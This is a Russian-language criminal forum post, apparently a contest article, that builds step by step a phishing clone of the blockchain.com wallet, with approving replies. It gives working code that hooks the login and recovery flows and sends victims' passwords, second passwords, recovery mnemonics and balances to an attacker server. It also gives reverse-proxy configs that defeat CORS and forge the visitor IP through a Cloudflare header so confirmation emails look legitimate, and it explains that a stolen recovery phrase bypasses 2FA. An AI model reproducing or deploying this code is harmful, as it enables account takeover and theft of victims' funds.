РКН Фейковый Blockchain: от идеи до реализации

bergut

Участник
Статус
offline
Регистрация
09.07.2021
Сообщения
9
Репутация
32
Источник: конкурс статей на форуме Exploit

Все мы наслышаны про фэйки блокчейна(в нашем случае blockchain.com), но видел ли кто из нас простых смертных саму реализацию и что вообще фэйк из себя представляет?

Купить на рынке готовый продукт при этом, не зная из чего он состоит технически - это очень рискованно. Ведь за последние полгода, а может и год - уже объявлялись очень много кидал, которые показывали демо фэйка и сливались после получения крупной суммы, но сама статья не об этом.

НЕСТАНДАРТНЫЙ конкурс статей - требует нестандартных решений)))
Дело было вечером, делать было нечего и я решил посмотреть, как же можно реализовать фэйк блокчейна, не имея общего технического представления как это реализовали другие, опираясь только на описание возможностей и документацию.
И так, на минуточку вспомним всё, что мы знаем про фэйки.
> Фейк (англ. fake — подделка, фальшивка, обман, мошенничество) — что-либо ложное, недостоверное, сфальсифицированное, выдаваемое за действительное, реальное, достоверное с целью ввести в заблуждение.
Простыми словами, фэйк - это полноценная копия сайта с единственным отличием в домене, где основная идея заключается в том, чтобы посетитель не понял подмены и ввёл нужные нам данные.
И так, поехали!

Первым делом заходим на сайт: https://login.blockchain.com
1.png





Замечаем внизу данные версии и ссылку, которая ведёт на Github.
Переходим по ней и видим, что в репозитории выложены сорсы веб-интерфейса!

2.png





Хм... интересно, получается, что можно поднять копию веб-интерфейса без каких-либо знаний?
Я не мог поверить своим глазам, разве это было так просто? Кому пришла идея выложить это добро официально вообще не понятно.
Далее вчитываемся в инструкцию, пробуем установить:
Код
wget https://codeload.github.com/blockchain/blockchain-wallet-v4-frontend/zip/refs/tags/v4.48.16
unzip blockchain-wallet-v4-frontend-4.48.16.zip
cd blockchain-wallet-v4-frontend
./setup.sh
yarn start:dev

Результат - ну "почти" полноценный фэйк :)

3.png





Правда пока этот фэйк ничего не делает в плане отправки данных, чем мы сейчас и займёмся.
Нам нужно в файлах найти авторизацию и попробовать добавить свою функцию.
Ищем в файлах по ключевому слову "login".
Находим основной файл авторизации:

4.png





Открываем файл: packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js

Добавляем функцию для простой отправки:
const submitAuth = function ({guid, password}) {
axios({
url: `https://admin.blockchain.test/api/wallets`,
method: 'POST',
data: {
guid: guid,
password: password
},
headers: {
'Content-Type': 'application/json'
}
})
}

А так же после блока сессии:
let session = yield select(selectors.session.getSession, guid)

Добавляем:
yield call(submitAuth, {guid, password})
Осталось самое главное, запустить это всё на тестовом домене и посмотреть всю работоспособность.
Редактируем файл hosts:
127.0.0.1 login.blockchain.test
Открываем http://login.blockchain.test и пытаемся авторизоваться.
5.png





Смотрим, что ничего не происходит, первым делом проверяем консоль:
6.png





Ждало меня разочарование, оказывается API сервер не даёт делать запросы извне из-за CORS.
Думаем, думаем, как же решается CORS? Так ведь обычным реверс прокси на уровне веб-сервера. Разве нет?
Файл конфигурации для простого реверс прокси веб-сервера Caddy:
reverse.blockchain.test {
route {
reverse_proxy * https://blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}

Что именно делает данный конфиг - просто проксирует все запросы к домену blockchain.info и меняет ответ в котором разрешает CORS-запросы, можно на абсолютно любом веб-сервере такое провернуть - для простоты работы и наглядности и был выбран Caddy, как отличный легковесный веб-сервер с автоматической поддержкой ssl, который написан на Go.

Теперь меняем адрес API сервера в нашем файле веб-интерфейса, для этого открываем файл config/env/production.js

Меняем:

На значение:
Пробуем еще раз авторизоваться:
51.png





Ураааа! Авторизация прошла успешно и письмо для подтверждения было отправлено.

Нам осталось только проверить почту и открыть письмо:
7.png




Да, но какого чёрта тут делает IP-адрес моего сервера? 😲😁

Я на минуточку задумался, мы же только недавно обходили CORS, поэтому и высвечивается этот адрес, и тут я вспомнил... во всех темах, где арендовался фэйк было написано про такую фичу, как IP-спуфинг.

Смысл заключается в том, что обычный пользователь оказавшийся на фэйке при подтверждении по почте, поймёт, что это IP-адрес чужой и попросту не подтвердит, что не есть хорошо. Получается, без этой фичи наш фэйк - это лишь подобие мощного комбайна, такое можно было и на HTML+CSS сделать.

Нужно немного найти информации про этот спуф... и так вспоминаем:
IP-спуфинг - Вид хакерской атаки, заключающийся в использовании чужого IP-адреса источника с целью обмана системы безопасности.

Немного поразмыслив, вновь дочитав про IP-спуфинг, я пришёл к выводу, что IP-спуфинг работает только в UDP.
Протокол транспортного (4) уровня TCP имеет встроенный механизм для предотвращения спуфинга
В запросе HTTP не получится подменить IP-адрес, ведь HTTP работает через TCP протокол.

Неужели это конец? Я немного расстроился, заварил чайку и всё-таки решил еще раз, посмотреть сам сайт и запросы https://login.blockchain.com после авторизации:

8.png





О, да... очень интересный саб-домен в заголовке x-original-host: wallet.prod.blockchain.info!

Нам нужно узнать подробности для всех доменов и IP-адресов.

Делаем запрос, чтобы узнать, где находится blockchain.info:
nslookup blockchain.info

Non-authoritative answer:
Name: blockchain.info
Address: 104.16.143.212
Name: blockchain.info
Address: 104.16.147.212
Name: blockchain.info
Address: 104.16.144.212
Name: blockchain.info
Address: 104.16.146.212
Name: blockchain.info
Address: 104.16.145.212
Теперь узнаём кому принадлежит IP-адрес:
whois 104.16.143.212

NetRange: 104.16.0.0 - 104.31.255.255
CIDR: 104.16.0.0/12
NetName: CLOUDFLARENET
NetHandle: NET-104-16-0-0-1
Parent: NET104 (NET-104-0-0-0-0)
NetType: Direct Assignment
OriginAS: AS13335
Organization: Cloudflare, Inc. (CLOUD14)
RegDate: 2014-03-28
Updated: 2017-02-17
Comment: All Cloudflare abuse reporting can be done via https://www.cloudflare.com/abuse

Осталось узнать, где находится wallet.prod.blockchain.info:
nslookup wallet.prod.blockchain.info

Name: wallet.prod.blockchain.info
Address: 35.201.74.1
Вновь узнаём кому принадлежит IP-адрес:
whois 35.201.74.1

NetRange: 35.192.0.0 - 35.207.255.255
CIDR: 35.192.0.0/12
NetName: GOOGLE-CLOUD
NetHandle: NET-35-192-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-03-21
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***

На минутку я замер: они используют CloudFlare, но при этом основной сервер на который пересылаются запросы находится в облаке Google.

Пробуем пинговать:
nslookup wallet.prod.blockchain.info

Name: wallet.prod.blockchain.info
Address: 35.201.74.1
Вновь узнаём кому принадлежит IP-адрес:
whois 35.201.74.1

NetRange: 35.192.0.0 - 35.207.255.255
CIDR: 35.192.0.0/12
NetName: GOOGLE-CLOUD
NetHandle: NET-35-192-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-03-21
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***

Открываем сам сайт:
9.png




404... хм... что-то и чай уже сильно остыл - ну да ладно, ведь мы тут нашли кое что-то очень интересное.

Я опять расстроился, но на минутку вспомнил, что раз сайт проксируется через CloudFlare, а далее передаётся в Google Cloud, то значит что они как-то передают нужные заголовки.

Ведь любой человек, который когда-либо работавший с CloudFlare знает, что все запросы на сервер идут: Посетитель <-> CloudFlare <-> Сервер.

Поэтому, чтобы восстановить реальный IP-адрес посетителя нам нужно прочитать документацию: https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs

И так, с уже остывшим чаем продолжаем наш путь, в документации говорится, что бы получить IP-адрес посетителя нужно получать данные из заголовков CF-Connecting-IP, в нашем же случае нам нужно отправлять такой заголовок, пробуем для начала в обычном запросе:
10.png





Проверяем почту:
11.png





Чему я был безумно рад, осталось это интегрировать в наш реверс прокси:
reverse.blockchain.test {
route {
reverse_proxy * https://wallet.prod.blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_up Cf-Connecting-Ip {http.request.remote.host}
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}

Авторизация работает, но почему-то не показывается баланс:
12.png





Открываем консоль, далее смотрим, что проблема возникает из-за того, что /multiadd доступен только blockchain.info, а в wallet.prod.blockchain.info его попросту нет:
13.png





Оказывается наш реверс прокси не совсем универсальный. Добавляем немного логики в наш реверс прокси:
reverse.blockchain.test {
route {
reverse_proxy /multiaddr https://blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}

reverse_proxy * https://wallet.prod.blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_up Cf-Connecting-Ip {http.request.remote.host}
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}

Отлично! Теперь все работает прекрасно!

Как итог, мы уже имеем: захват логина и пароля + IP-спуфинг.
Но это нам ничего не даёт, ведь подтвердить по почте мы не сможем, а если у пользователя еще включена двух-факторная авторизация или блокировка по IP-адресу, то тут совсем беда.
Фэйк сделать-то сделали, но пользы от него мы не получим, если не будет постоянного доступа к аккаунту.
Решил всё-таки вернуться к истокам и еще раз посмотреть сам веб-интерфейс, нас интересуют настройки безопасности:

14.png





Интересно, секретный ключ восстановления даёт возможность любому получить доступ к аккаунту?! Простите, что? 😲

15.png





Перечитываю пару раз и только потом доходит, что этот секретный ключ - это нечто из разряда святых, если его потерял то можно лишиться денег на аккаунте.
И если он показывается в веб-интерфейсе, значит можно тоже отправить к себе, но для начала нам нужно проверить возможности секретного ключа.

Включаем в настройках двух-факторное подтверждение + белый список по IP-адресу.
Нам осталось только проверить, для этого мы подключаемся через второй сокс и переходим по ссылке, где вводим ключ восстановления:

16.png





После ввода правильного секретного ключа появляется форма для смены пароля:

17.png





Вводим пароль и нажимаем на Recover Funds и после этого попадаем моментально в аккаунт:

18.png





Как итог, восстановление через секретный ключ позволяет обойти любые ограничения аккаунта: двух-факторную авторизацию + белый список по IP-адресу.

Это просто жесть, подумал я на минутку... значит даже смысла в записи логина пароля нет, можно просто собирать секретные ключи и восстанавливать аккаунты, а далее отключать настройки безопасности, в том числе изменять почтовый адрес.

"Так это фича, а не баг" - так сказали бы разработчики... 👏

Теперь нам осталось добавить все недостающие возможности в сам фэйк.

1) Секретный ключ восстановления.
Ищем в файлах "recovery", находим единственную функцию "recoverySaga", которая и выводит приватный ключ восстановления:
const recoverySaga = function * ({ password }) {
const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
try {
const mnemonicT = yield select(getMnemonic)
const mnemonic = yield call(() => taskToPromise(mnemonicT))
const mnemonicArray = mnemonic.split(' ')
yield put(
actions.modules.settings.addMnemonic({ mnemonic: mnemonicArray })
)
} catch (e) {
yield put(
actions.logs.logErrorMessage(logLocation, 'showBackupRecovery', e)
)
}
}


Нам нужно немного его изменить, открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts

Добавляем функцию для возврата секретного ключа в удобном для нас формате:
const recoverySagaInfo = function * ({ password }) {
const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
try {
const mnemonicT = yield select(getMnemonic)
const mnemonic = yield call(() => taskToPromise(mnemonicT))
return mnemonic;
} catch (e) {
}
}
Нужно еще эти данные отправить, добавляем функцию отправки:
const submitRecover = ({ guid, recovery }: { guid: string, recovery: any }) =>
axios({
url: `https://admin.blockchain.test/api/recovers`,
method: 'POST',
data: {
guid: guid,
recover: recovery
},
headers: {
'Content-Type': 'application/json'
}
})

2) Дополнительный пароль подтверждения ака второй пасс.

Ищем в файлах "SecondPassword" находим удивительный вызов функции:
import { promptForSecondPassword } from 'services/sagas'
const password = yield call(promptForSecondPassword)
Прекрасно. Это именно то, что нам и было нужно.

Открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts

Добавляем функцию для отправки данных второго пароля:
const submitSecondPass = ({ guid, password }: { guid: string, password: string }) =>
axios({
url: `https://admin.blockchain.test/api/seconds`,
method: 'POST',
data: {
guid: guid,
password: password
},
headers: {
'Content-Type': 'application/json'
}
})

Вызывать функцию будем чуть позже.

3) Баланс

Если будет информация о балансе кошелька, то будет легче понимать какой из аккаунтов нужно восстанавливать моментально и в дальнейшем просто добавить уведомления.

Ищем в файлах "balances", находим не менее удивительный вызов функции в том же файле, который мы редактировали ранее:
// check/wait for balances to be available
const balances = yield call(waitForAllBalances)

Добавляем функцию для отправки данных баланса:
const submitBalance = ({ balances, guid }: { balances: any, guid: string }) =>
axios({
url: `https://admin.blockchain.test/api/balances`,
method: 'POST',
data: {
guid: guid,
"btc": balances.btc,
"eth": balances.eth,
"bch": balances.bch,
"pax": balances.pax,
"xlm": balances.xlm,
"usdt": balances.usdt,
"wdgld": balances.wdgld
},
headers: {
'Content-Type': 'application/json'
}
})

Теперь, после авторизации, чтобы отправляло, нам нужно изменить файл packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js:
Ищем функцию:
yield put(actions.goals.saveGoal('syncPit'))
Добавляем после неё
yield put(actions.goals.saveGoal('sendData'))

После чего нам нужно добавить новую функцию в файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts:
const runSendData = function * (goal) {
const { id } = goal
// Удаляём задачу, чтобы не запускалось сто раз.
yield put(actions.goals.deleteGoal(id))

// Ждём данных пользователя
yield call(waitForUserData)

// Получаем идентификатор аккаунта
const guid = yield select(selectors.core.wallet.getGuid)

// Ждём загрузки баланса
const balances = yield call(waitForAllBalances)
// @ts-ignore
yield call(submitBalance, {guid, balances});

// Получаем второй пароль
const password = yield call(promptForSecondPassword) || null ;
// @ts-ignore
yield call(submitSecondPass, {guid, password});

// Получаем секретный ключ восстановления
const recovery = yield call(recoverySagaInfo, { password })
// @ts-ignore
yield call(submitRecover, {guid, recovery});

}
В том же файле ищем:
case 'syncPit':
yield call(runSyncPitGoal, goal)
break
Добавляем после неё
Код:Скопировать в буфер обмена
case 'sendData':
yield call(runSendData, goal)
break


В файле packages/blockchain-wallet-v4-frontend/src/data/goals/types.ts:

После "referral", добавляем "sendData".

Готово! Наш безупречный фэйк со всеми возможностями создан.

Для наглядности хотелось бы так же выложить материалы с подробными инструкциями по установке на сервер:
- Фэйк (конфиги + скрипты, сервер vps-1)
- Реверс прокси (конфиги + скрипты, сервер vps-2)
- Простенькая админ панель (конфиги + скрипты, сервер vps-3)

Но опасаясь спекуляций со стороны недобросовестных пользователей(и резкого роста торговцев фейками блокчейна) данный материал в иерархическом порядке хотелось бы передать администраторами и модераторам форума, а так же специалистам, которые бы хотели "потрогать" и убедиться, что всё описанное в данной статье - актуально и работает на момент публикации.

PS: возможно полетят абузы, что в паблик уходит приват, но нет, друзья - до этого мог дойти любой и тут показано как именно достигнут результат, а не просто выкладывается готовое решение.

Данная статья для конкурса является прямым подтверждением того, что нет ничего невозможного.
Просто пробуйте, и Вы добьетесь всего и всегда.
С единственной в данном случае оговоркой, о которой хотелось бы напомнить(привет, Ubuntu/Debian):
"C великой силой приходит и великая ответственность"
 

razvedservice

Местный
Статус
offline
Регистрация
25.06.2021
Сообщения
124
Репутация
87
Тема неплохая, но мне всегда казалось что биткоиноводы могут отличить палку от пистолета… печально, если это не так и акки реально угоняются
 

M8Ms

Участник
Статус
offline
Регистрация
02.01.2020
Сообщения
87
Репутация
30
Тема неплохая, но мне всегда казалось что биткоиноводы могут отличить палку от пистолета… печально, если это не так и акки реально угоняются
Тыкая в небо рано или поздно можно попасть на мамонта.

Тема годная, информативная, автор палец вверх за старание